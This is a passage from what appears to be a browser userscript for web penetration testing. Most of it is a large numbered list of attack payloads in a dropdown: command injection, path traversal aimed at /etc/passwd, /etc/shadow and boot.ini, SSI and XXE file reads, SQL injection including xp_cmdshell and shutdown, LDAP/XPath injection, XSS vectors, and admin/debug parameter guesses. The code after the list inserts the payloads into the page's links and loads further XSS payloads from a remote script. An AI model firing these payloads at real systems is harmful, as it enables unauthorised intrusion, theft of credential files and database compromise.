value=";ls -la">89) ;ls -la..</option><option value=";dir">90) ;dir..</option><option value="|/bin/ls -al">91) |/bin/ls -al..</option><option value="\\n/bin/ls -al\\n">92) \\n/bin/ls -al\\n..</option></optgroup><option value="?x=">93) ?x=..</option><option value="?x="">94) ?x="..</option><option value="?x=|">95) ?x=|..</option><option value="?x=>">96) ?x=>..</option><option value="/index.html|id|">97) /index.html|id|..</option><optgroup label="Path Traversal"><option value="/boot.ini">98) /boot.ini..</option><option value="/etc/passwd">99) /etc/passwd..</option><option value="/etc/shadow">100) /etc/shadow..</option><option value="ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|">101) ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8...</option><option value="../../../../../../../../../../../../etc/hosts%00">102) ../../../../../../../../../../../../etc/hosts%00..</option><option value="../../../../../../../../../../../../etc/hosts">103) ../../../../../../../../../../../../etc/hosts..</option><option value="../../boot.ini">104) ../../boot.ini..</option><option value="/../../../../../../../../%2A">105) /../../../../../../../../%2A..</option><option value="../../../../../../../../../../../../etc/passwd%00">106) ../../../../../../../../../../../../etc/passwd%00..</option><option value="../../../../../../../../../../../../etc/passwd">107) ../../../../../../../../../../../../etc/passwd..</option><option value="../../../../../../../../../../../../etc/shadow%00">108) ../../../../../../../../../../../../etc/shadow%00..</option><option value="../../../../../../../../../../../../etc/shadow">109) ../../../../../../../../../../../../etc/shadow..</option><option value="/../../../../../../../../../../etc/passwd^^">110) /../../../../../../../../../../etc/passwd^^..</option><option value="/../../../../../../../../../../etc/shadow^^">111) /../../../../../../../../../../etc/shadow^^..</option><option value="/../../../../../../../../../../etc/passwd">112) /../../../../../../../../../../etc/passwd..</option><option value="/../../../../../../../../../../etc/shadow">113) /../../../../../../../../../../etc/shadow..</option><option value="/./././././././././././etc/passwd">114) /./././././././././././etc/passwd..</option><option value="/./././././././././././etc/shadow">115) /./././././././././././etc/shadow..</option><option value="\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd">116) \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\pas..</option><option value="\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow">117) \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\sha..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd">118) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passw..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow">119) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shado..</option><option value="/..\\../..\\../..\\../..\\../..\\../..\\../etc/passwd">120) /..\\../..\\../..\\../..\\../..\\../..\\../etc/pas..</option><option value="/..\\../..\\../..\\../..\\../..\\../..\\../etc/shadow">121) /..\\../..\\../..\\../..\\../..\\../..\\../etc/sha..</option><option value=".\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/passwd">122) .\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/pass..</option><option value=".\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shadow">123) .\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./etc/shad..</option><option value="\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00">124) \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\pas..</option><option value="\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00">125) \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\sha..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passwd%00">126) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\passw..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shadow%00">127) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\etc\\shado..</option><option value="%0a/bin/cat%20/etc/passwd">128) %0a/bin/cat%20/etc/passwd..</option><option value="%0a/bin/cat%20/etc/shadow">129) %0a/bin/cat%20/etc/shadow..</option><option value="%00/etc/passwd%00">130) %00/etc/passwd%00..</option><option value="%00/etc/shadow%00">131) %00/etc/shadow%00..</option><option value="%00../../../../../../etc/passwd">132) %00../../../../../../etc/passwd..</option><option value="%00../../../../../../etc/shadow">133) %00../../../../../../etc/shadow..</option><option value="/../../../../../../../../../../../etc/passwd%00.jpg">134) /../../../../../../../../../../../etc/passwd%00.jp..</option><option value="/../../../../../../../../../../../etc/passwd%00.html">135) /../../../../../../../../../../../etc/passwd%00.ht..</option><option value="/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd">136) /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0..</option><option value="/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow">137) /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0..</option><option value="/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd">138) /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/..</option><option value="/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow">139) /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/..</option><option value="%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00">140) %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2..</option><option value="/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00">141) /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%..</option><option value="%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%00">142) %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2..</option><option value="%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..% 25%5c..%25%5c..%255cboot.ini">143) %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%2..</option><option value="/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini">144) /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%..</option><option value="\\\\&apos;/bin/cat%20/etc/passwd\\\\&apos;">145) \\\\&apos;/bin/cat%20/etc/passwd\\\\&apos;..</option><option value="\\\\&apos;/bin/cat%20/etc/shadow\\\\&apos;">146) \\\\&apos;/bin/cat%20/etc/shadow\\\\&apos;..</option><option value="../../../../../../../../conf/server.xml">147) ../../../../../../../../conf/server.xml..</option><option value="/../../../../../../../../bin/id|">148) /../../../../../../../../bin/id|..</option><option value="C:/inetpub/wwwroot/global.asa">149) C:/inetpub/wwwroot/global.asa..</option><option value="C:\\inetpub\\wwwroot\\global.asa">150) C:\\inetpub\\wwwroot\\global.asa..</option><option value="C:/boot.ini">151) C:/boot.ini..</option><option value="C:\\boot.ini">152) C:\\boot.ini..</option><option value="../../../../../../../../../../../../localstart.asp%00">153) ../../../../../../../../../../../../localstart.asp..</option><option value="../../../../../../../../../../../../localstart.asp">154) ../../../../../../../../../../../../localstart.asp..</option><option value="../../../../../../../../../../../../boot.ini%00">155) ../../../../../../../../../../../../boot.ini%00..</option><option value="../../../../../../../../../../../../boot.ini">156) ../../../../../../../../../../../../boot.ini..</option><option value="/./././././././././././boot.ini">157) /./././././././././././boot.ini..</option><option value="/../../../../../../../../../../../boot.ini%00">158) /../../../../../../../../../../../boot.ini%00..</option><option value="/../../../../../../../../../../../boot.ini">159) /../../../../../../../../../../../boot.ini..</option><option value="/..\\../..\\../..\\../..\\../..\\../..\\../boot.ini">160) /..\\../..\\../..\\../..\\../..\\../..\\../boot.in..</option><option value="/.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.ini">161) /.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./.\\\\./boot.in..</option><option value="\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini">162) \\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%00">163) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini%0..</option><option value="..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini">164) ..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\boot.ini..</option><option value="/../../../../../../../../../../../boot.ini%00.html">165) /../../../../../../../../../../../boot.ini%00.html..</option><option value="/../../../../../../../../../../../boot.ini%00.jpg">166) /../../../../../../../../../../../boot.ini%00.jpg..</option><option value="/.../.../.../.../.../">167) /.../.../.../.../.../..</option><option value="..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini">168) ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%..</option><option value="/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini">169) /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/..</option></optgroup><option value="%0d%0aX-Injection-Header:%20AttackValue">170) %0d%0aX-Injection-Header:%20AttackValue..</option><option value="!@#0%^#0##018387@#0^^**(()">171) !@#0%^#0##018387@#0^^**(()..</option><option value="%01%02%03%04%0a%0d%0aADSF">172) %01%02%03%04%0a%0d%0aADSF..</option><option value="/,%ENV,/">173) /,%ENV,/..</option><option value="&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;">174) &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/p..</option><option value="&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;">175) &lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/s..</option><option value="%">176) %..</option><option value="#">177) #..</option><option value="*">178) *..</option><option value="}">179) }..</option><option value=";">180) ;..</option><option value="/">181) /..</option><option value="\\">182) \\..</option><option value="\\\\">183) \\\\..</option><option value="\\\\/">184) \\\\/..</option><option value="\\\\\\\\*">185) \\\\\\\\*..</option><option value="\\\\\\\\?\\\\">186) \\\\\\\\?\\\\..</option><option value="&lt">187) &lt..</option><option value="&lt;">188) &lt;..</option><option value="&LT">189) &LT..</option><option value="&LT;">190) &LT;..</option><option value="<">191) <..</option><option value="<<">192) <<..</option><option value="<<<">193) <<<..</option><option value="|">194) |..</option><option value="||">195) ||..</option><option value="`">196) `..</option><option value="-">197) -..</option><option value="--">198) --..</option><option value="*|">199) *|..</option><option value="^'">200) ^'..</option><option value="\\'">201) \\'..</option><option value="/'">202) /'..</option><option value="@'">203) @'..</option><option value="(')">204) (')..</option><option value="{'}">205) {'}..</option><option value="[']">206) [']..</option><option value="*'">207) *'..</option><option value="#'">208) #'..</option><option value="!'">209) !'..</option><option value="!@#$%%^#$%#$@#$%$$@#$%^^**(()">210) !@#$%%^#$%#$@#$%$$@#$%^^**(()..</option><option value="%01%02%03%04%0a%0d%0aADSF">211) %01%02%03%04%0a%0d%0aADSF..</option><option value="\\t">212) \\t..</option><option value=""\\t"">213) "\\t"..</option><option value="&#10;">214) &#10;..</option><option value="&#13;">215) &#13;..</option><option value="&#10;&#13;">216) &#10;&#13;..</option><option value="&#13;&#10;">217) &#13;&#10;..</option><option value="#xD">218) #xD..</option><option value="#xA">219) #xA..</option><option value="#xD#xA">220) #xD#xA..</option><option value="#xA#xD">221) #xA#xD..</option><option value="/%00/">222) /%00/..</option><option value="%00/">223) %00/..</option><option value="%00">224) %00..</option><option value="<?">225) <?..</option><option value="%3C">226) %3C..</option><option value="%3C%3F">227) %3C%3F..</option><option value="%60">228) %60..</option><option value="%5C">229) %5C..</option><option value="%5C/">230) %5C/..</option><option value="%7C">231) %7C..</option><option value="%00">232) %00..</option><option value="/%2A">233) /%2A..</option><option value="%2A">234) %2A..</option><option value="%2C">235) %2C..</option><option value="%20">236) %20..</option><option value="%20|">237) %20|..</option><option value="%250a">238) %250a..</option><option value="%2500">239) %2500..</option><option value="../">240) ../..</option><option value="%2e%2e%2f">241) %2e%2e%2f..</option><option value="..%u2215">242) ..%u2215..</option><option value="..%c0%af">243) ..%c0%af..</option><option value="..%bg%qf">244) ..%bg%qf..</option><option value="..\\">245) ..\\..</option><option value="..%5c">246) ..%5c..</option><option value="..%%35c">247) ..%%35c..</option><option value="..%255c">248) ..%255c..</option><option value="..%%35%63">249) ..%%35%63..</option><option value="..%25%35%63">250) ..%25%35%63..</option><option value="..%u2216">251) ..%u2216..</option><option value="&#60">252) &#60..</option><option value="&#060">253) &#060..</option><option value="&#0060">254) &#0060..</option><option value="&#00060">255) &#00060..</option><option value="&#000060">256) &#000060..</option><option value="&#0000060">257) &#0000060..</option><option value="&#60;">258) &#60;..</option><option value="&#060;">259) &#060;..</option><option value="&#0060;">260) &#0060;..</option><option value="&#00060;">261) &#00060;..</option><option value="&#000060;">262) &#000060;..</option><option value="&#0000060;">263) &#0000060;..</option><option value="&#x3c">264) &#x3c..</option><option value="&#x03c">265) &#x03c..</option><option value="&#x003c">266) &#x003c..</option><option value="&#x0003c">267) &#x0003c..</option><option value="&#x00003c">268) &#x00003c..</option><option value="&#x000003c">269) &#x000003c..</option><option value="&#x3c;">270) &#x3c;..</option><option value="&#x03c;">271) &#x03c;..</option><option value="&#x003c;">272) &#x003c;..</option><option value="&#x0003c;">273) &#x0003c;..</option><option value="&#x00003c;">274) &#x00003c;..</option><option value="&#x000003c;">275) &#x000003c;..</option><option value="&#X3c">276) &#X3c..</option><option value="&#X03c">277) &#X03c..</option><option value="&#X003c">278) &#X003c..</option><option value="&#X0003c">279) &#X0003c..</option><option value="&#X00003c">280) &#X00003c..</option><option value="&#X000003c">281) &#X000003c..</option><option value="&#X3c;">282) &#X3c;..</option><option value="&#X03c;">283) &#X03c;..</option><option value="&#X003c;">284) &#X003c;..</option><option value="&#X0003c;">285) &#X0003c;..</option><option value="&#X00003c;">286) &#X00003c;..</option><option value="&#X000003c;">287) &#X000003c;..</option><option value="&#x3C">288) &#x3C..</option><option value="&#x03C">289) &#x03C..</option><option value="&#x003C">290) &#x003C..</option><option value="&#x0003C">291) &#x0003C..</option><option value="&#x00003C">292) &#x00003C..</option><option value="&#x000003C">293) &#x000003C..</option><option value="&#x3C;">294) &#x3C;..</option><option value="&#x03C;">295) &#x03C;..</option><option value="&#x003C;">296) &#x003C;..</option><option value="&#x0003C;">297) &#x0003C;..</option><option value="&#x00003C;">298) &#x00003C;..</option><option value="&#x000003C;">299) &#x000003C;..</option><option value="&#X3C">300) &#X3C..</option><option value="&#X03C">301) &#X03C..</option><option value="&#X003C">302) &#X003C..</option><option value="&#X0003C">303) &#X0003C..</option><option value="&#X00003C">304) &#X00003C..</option><option value="&#X000003C">305) &#X000003C..</option><option value="&#X3C;">306) &#X3C;..</option><option value="&#X03C;">307) &#X03C;..</option><option value="&#X003C;">308) &#X003C;..</option><option value="&#X0003C;">309) &#X0003C;..</option><option value="&#X00003C;">310) &#X00003C;..</option><option value="&#X000003C;">311) &#X000003C;..</option><option value="\\x3c">312) \\x3c..</option><option value="\\x3C">313) \\x3C..</option><option value="\\u003c">314) \\u003c..</option><option value="\\u003C">315) \\u003C..</option><option value="something%00html">316) something%00html..</option><option value="&apos;">317) &apos;..</option><option value="/&apos;">318) /&apos;..</option><option value="\\&apos;">319) \\&apos;..</option><option value="^&apos;">320) ^&apos;..</option><option value="@&apos;">321) @&apos;..</option><option value="{&apos;}">322) {&apos;}..</option><option value="[&apos;]">323) [&apos;]..</option><option value="*&apos;">324) *&apos;..</option><option value="#&apos;">325) #&apos;..</option><optgroup label="SQL Injection"><option value="'">326) '..</option><option value=""">327) "..</option><option value="#">328) #..</option><option value="-">329) -..</option><option value="--">330) --..</option><option value="' --">331) ' --..</option><option value="--';">332) --';..</option><option value="' ;">333) ' ;..</option><option value="= '">334) = '..</option><option value="= ;">335) = ;..</option><option value="= --">336) = --..</option><option value="\\x23">337) \\x23..</option><option value="\\x27">338) \\x27..</option><option value="\\x3D \\x3B'">339) \\x3D \\x3B'..</option><option value="\\x3D \\x27">340) \\x3D \\x27..</option><option value="\\x27\\x4F\\x52 SELECT *">341) \\x27\\x4F\\x52 SELECT *..</option><option value="\\x27\\x6F\\x72 SELECT *">342) \\x27\\x6F\\x72 SELECT *..</option><option value="'or select *">343) 'or select *..</option><option value="admin'--">344) admin'--..</option><option value="';shutdown--">345) ';shutdown--..</option><option value="<>"'%;)(&+">346) <>"'%;)(&+..</option><option value="' or ''='">347) ' or ''='..</option><option value="' or 'x'='x">348) ' or 'x'='x..</option><option value="" or "x"="x">349) " or "x"="x..</option><option value="') or ('x'='x">350) ') or ('x'='x..</option><option value="0 or 1=1">351) 0 or 1=1..</option><option value="' or 0=0 --">352) ' or 0=0 --..</option><option value="" or 0=0 --">353) " or 0=0 --..</option><option value="or 0=0 --">354) or 0=0 --..</option><option value="' or 0=0 #">355) ' or 0=0 #..</option><option value="" or 0=0 #">356) " or 0=0 #..</option><option value="or 0=0 #">357) or 0=0 #..</option><option value="' or 1=1--">358) ' or 1=1--..</option><option value="" or 1=1--">359) " or 1=1--..</option><option value="' or '1'='1'--">360) ' or '1'='1'--..</option><option value=""' or 1 --'"">361) "' or 1 --'"..</option><option value="or 1=1--">362) or 1=1--..</option><option value="or%201=1">363) or%201=1..</option><option value="or%201=1 --">364) or%201=1 --..</option><option value="' or 1=1 or ''='">365) ' or 1=1 or ''='..</option><option value="" or 1=1 or ""="">366) " or 1=1 or ""="..</option><option value="' or a=a--">367) ' or a=a--..</option><option value="" or "a"="a">368) " or "a"="a..</option><option value="') or ('a'='a">369) ') or ('a'='a..</option><option value="") or ("a"="a">370) ") or ("a"="a..</option><option value="hi" or "a"="a">371) hi" or "a"="a..</option><option value="hi" or 1=1 --">372) hi" or 1=1 --..</option><option value="hi' or 1=1 --">373) hi' or 1=1 --..</option><option value="hi' or 'a'='a">374) hi' or 'a'='a..</option><option value="hi') or ('a'='a">375) hi') or ('a'='a..</option><option value="hi") or ("a"="a">376) hi") or ("a"="a..</option><option value="'hi' or 'x'='x';">377) 'hi' or 'x'='x';..</option><option value="@variable">378) @variable..</option><option value=",@variable">379) ,@variable..</option><option value="PRINT">380) PRINT..</option><option value="PRINT @@variable">381) PRINT @@variable..</option><option value="select">382) select..</option><option value="insert">383) insert..</option><option value="as">384) as..</option><option value="or">385) or..</option><option value="procedure">386) procedure..</option><option value="limit">387) limit..</option><option value="order by">388) order by..</option><option value="asc">389) asc..</option><option value="desc">390) desc..</option><option value="delete">391) delete..</option><option value="update">392) update..</option><option value="distinct">393) distinct..</option><option value="having">394) having..</option><option value="truncate">395) truncate..</option><option value="replace">396) replace..</option><option value="like">397) like..</option><option value="handler">398) handler..</option><option value="bfilename">399) bfilename..</option><option value="' or username like '%">400) ' or username like '%..</option><option value="' or uname like '%">401) ' or uname like '%..</option><option value="' or userid like '%">402) ' or userid like '%..</option><option value="' or uid like '%">403) ' or uid like '%..</option><option value="' or user like '%">404) ' or user like '%..</option><option value="exec xp">405) exec xp..</option><option value="exec sp">406) exec sp..</option><option value="'; exec master..xp_cmdshell">407) '; exec master..xp_cmdshell..</option><option value="'; exec xp_regread">408) '; exec xp_regread..</option><option value="t'exec master..xp_cmdshell 'nslookup www.google.com'--">409) t'exec master..xp_cmdshell 'nslookup www..</option><option value="--sp_password">410) --sp_password..</option><option value="\\x27UNION SELECT">411) \\x27UNION SELECT..</option><option value="' UNION SELECT">412) ' UNION SELECT..</option><option value="' UNION ALL SELECT">413) ' UNION ALL SELECT..</option><option value="' or (EXISTS)">414) ' or (EXISTS)..</option><option value="' (select top 1">415) ' (select top 1..</option><option value="'||UTL_HTTP.REQUEST">416) '||UTL_HTTP.REQUEST..</option><option value="1;SELECT%20*">417) 1;SELECT%20*..</option><option value="to_timestamp_tz">418) to_timestamp_tz..</option><option value="tz_offset">419) tz_offset..</option><option value="&lt;&gt;&quot;'%;)(&amp;+">420) &lt;&gt;&quot;'%;)(&amp;+..</option><option value="'%20or%201=1">421) '%20or%201=1..</option><option value="%27%20or%201=1">422) %27%20or%201=1..</option><option value="%20$(sleep%2050)">423) %20$(sleep%2050)..</option><option value="%20'sleep%2050'">424) %20'sleep%2050'..</option><option value="char%4039%41%2b%40SELECT">425) char%4039%41%2b%40SELECT..</option><option value="&apos;%20OR">426) &apos;%20OR..</option><option value="'sqlattempt1">427) 'sqlattempt1..</option><option value="(sqlattempt2)">428) (sqlattempt2)..</option></optgroup><option value="|">429) |..</option><option value="%7C">430) %7C..</option><option value="*|">431) *|..</option><option value="%2A%7C">432) %2A%7C..</option><option value="*(|(mail=*))">433) *(|(mail=*))..</option><option value="%2A%28%7C%28mail%3D%2A%29%29">434) %2A%28%7C%28mail%3D%2A%29%29..</option><option value="*(|(objectclass=*))">435) *(|(objectclass=*))..</option><option value="%2A%28%7C%28objectclass%3D%2A%29%29">436) %2A%28%7C%28objectclass%3D%2A%29%29..</option><option value="(">437) (..</option><option value="%28">438) %28..</option><option value=")">439) )..</option><option value="%29">440) %29..</option><option value="&">441) &..</option><option value="%26">442) %26..</option><option value="!">443) !..</option><option value="%21">444) %21..</option><option value="' or 1=1 or ''='">445) ' or 1=1 or ''='..</option><option value="' or ''='">446) ' or ''='..</option><option value="x' or 1=1 or 'x'='y">447) x' or 1=1 or 'x'='y..</option><option value="/">448) /..</option><option value="//">449) //..</option><option value="//*">450) //*..</option><option value="*/*">451) */*..</option><option value="@*">452) @*..</option><option value="count(/child::node())">453) count(/child::node())..</option><option value="x' or name()='username' or 'x'='y">454) x' or name()='username' or 'x&..</option><option value="<name>','')); phpinfo(); exit;/*</name>">455) <name>','')); phpinfo(); exit..</option><option value="<![CDATA[<script>var n=0;while(true){n++;}</script>]]>">456) <![CDATA[<script>var n=0;while(true){n++;..</option><option value="<![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>">457) <![CDATA[<]]>SCRIPT<![CDATA[>]]>..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>">458) <?xml version="1.0" encoding="IS..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foo>">459) <?xml version="1.0" encoding="IS..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xxe;</foo>">460) <?xml version="1.0" encoding="IS..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/passwd">]><foo>&xxe;</foo>">461) <?xml version="1.0" encoding="IS..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////etc/shadow">]><foo>&xxe;</foo>">462) <?xml version="1.0" encoding="IS..</option><option value="<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:////dev/random">]><foo>&xxe;</foo>">463) <?xml version="1.0" encoding="IS..</option><option value="<xml ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>">464) <xml ID=I><X><C><![CDATA[<..</option><option value="<xml ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert('XSS')"&gt;</B></I></xml><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>">465) <xml ID="xss"><I><B>&a..</option><option value="<xml SRC="xsstest.xml" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>">466) <xml SRC="xsstest.xml" ID=I></x..</option><option value="<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>">467) <HTML xmlns:xss><?import namespace="..</option><optgroup label="Debug/Hidden Parameters"><option value="test=1">468) test=1..</option><option value="test=true">469) test=true..</option><option value="test=yes">470) test=yes..</option><option value="test=y">471) test=y..</option><option value="7357=1">472) 7357=1..</option><option value="7357=true">473) 7357=true..</option><option value="7357=yes">474) 7357=yes..</option><option value="7357=y">475) 7357=y..</option><option value="admin=1">476) admin=1..</option><option value="admin=true">477) admin=true..</option><option value="admin=yes">478) admin=yes..</option><option value="admin=y">479) admin=y..</option><option value="adm=1">480) adm=1..</option><option value="adm=true">481) adm=true..</option><option value="adm=yes">482) adm=yes..</option><option value="adm=y">483) adm=y..</option><option value="adm1n=1">484) adm1n=1..</option><option value="adm1n=true">485) adm1n=true..</option><option value="adm1n=yes">486) adm1n=yes..</option><option value="adm1n=y">487) adm1n=y..</option><option value="access=1">488) access=1..</option><option value="access=true">489) access=true..</option><option value="access=yes">490) access=yes..</option><option value="access=y">491) access=y..</option><option value="grant=1">492) grant=1..</option><option value="grant=true">493) grant=true..</option><option value="grant=yes">494) grant=yes..</option><option value="grant=y">495) grant=y..</option><option value="debug=1">496) debug=1..</option><option value="debug=true">497) debug=true..</option><option value="debug=yes">498) debug=yes..</option><option value="debug=y">499) debug=y..</option><option value="dbg=1">500) dbg=1..</option><option value="dbg=true">501) dbg=true..</option><option value="dbg=yes">502) dbg=yes..</option><option value="dbg=y">503) dbg=y..</option><option value="edit=1">504) edit=1..</option><option value="edit=true">505) edit=true..</option><option value="edit=yes">506) edit=yes..</option></optgroup><optgroup label="More XSS" id="more_xss"><option onclick="yehgLoadXSSAll()">Click here to load</option></optgroup>';
unsafeWindow.yehgSend4Fuzzing = function(where)
{
var s =document.getElementById('fuzzdb');
if(s.options[s.selectedIndex].value.indexOf("Check")> -1){alert("Select a fuzz string!");return;}
if(where == "PCE")
{
window.open("http://yehg.net/encoding/?outputtext="+ encodeURIComponent(s.options[s.selectedIndex].value));
}
else
{
window.open("http://yehg.net/encoding/?sendtohackvertor="+ encodeURIComponent(s.options[s.selectedIndex].value));
}
}
printdata += '</select> [<span style="cursor:pointer;color:yellow!important;" title="Insert selected fuzz to fuzz url" onclick="yehgInsertFuzz()">Insert</span>] [<a title="Send selected fuzz to PHP Charset Encoder" style="color:yellow!important;text-decoration:none" href="javascript:void(0)" onclick="yehgSend4Fuzzing(\'PCE\')">PCE</a>] [<a title="Send selected fuzz to HackerVertor" style="color:yellow!important;text-decoration:none;" href="javascript:void(0)" onclick="yehgSend4Fuzzing(\'HV\')">HackVertor</a>]<br><br>Launch Window in <input type="text" value="2" id="fztimer"> seconds<br><br>If content-length <select id="length_operator"><option value="==">==</option><option value="<="><=</option><option value=">=">>=</option><option value="<"><</option><option value=">">></option></select> <input type="text" value="null" id="yehg_content_length"> , automatically close Window [Esp. for Debug/Hidden]<br><br>If contents do <select id="yehg_content_grep_criteria"><option value="AND">HAVE</option><option value="NOT">NOT HAVE</option></select> <input type="text" value="null" id="yehg_grep"> , automatically close Window [Esp. for vulnerability pattern matching]<br><br>Fuzz Index From <input type="text" value="1" id="fzfrom"> To <input type="text" value="10" id="fzto"><br><br>Fuzz Keywords: {XSS} {SQL} {TRA} {CMD} {FUZZ} {DEBUG}<br><br><div id="fuzz_result" style="border:1px dashed red;display:none;font-style:italics;"></div></fieldset><br>';
unsafeWindow.yehgMoreXSS = "";
unsafeWindow.yehgLoadXSSAll = function()
{
var url = yehg_url + '/lab/pr0js/pentest/wordlists/index_select.php?file=injections/xss_all.txt&start=507';
var pgHead = document.getElementsByTagName("head").item(0);
var objJsFile = document.createElement("script");
objJsFile.setAttribute('type','text/javascript');
objJsFile.setAttribute('src', url);
objJsFile.setAttribute('onload',"(function(){document.getElementById('more_xss').innerHTML=yehgMoreXSS;alert('Done loading all XSS!\\nCheck the index starting from 507!');document.getElementById('fuzzdb').selectedIndex=507;})()" );
objJsFile.setAttribute('onerror',"alert('File not found or Error in loading fie!')");
pgHead.appendChild(objJsFile);
}
fuzzlink = "<br><b>[Fuzzable Links]</b><br>";
hasfuzzlink = 0;
for(var i=0;i<=document.getElementsByTagName("a").length-1;i++)
{
if(document.getElementsByTagName("a")[i].href.indexOf("?")>0)
{
var href = document.getElementsByTagName("a")[i].href+"";
if(href.indexOf("javascript")!=-1)
{
fuzzlink +="<br><a style='color:yellow!important;text-decoration:underline;' href='javascript:void(0)' onclick=\"" + href + "\">"+ document.getElementsByTagName("a")[i].href+ "</a><br>";
}
else
{
fuzzlink +="<br><a target='_blank' style='color:yellow!important;text-decoration:underline;' href='" + href + "'>"+ document.getElementsByTagName("a")[i].href+ "</a><br>";
}
hasfuzzlink=1;
}
}
if(hasfuzzlink==1){printdata+=fuzzlink;}
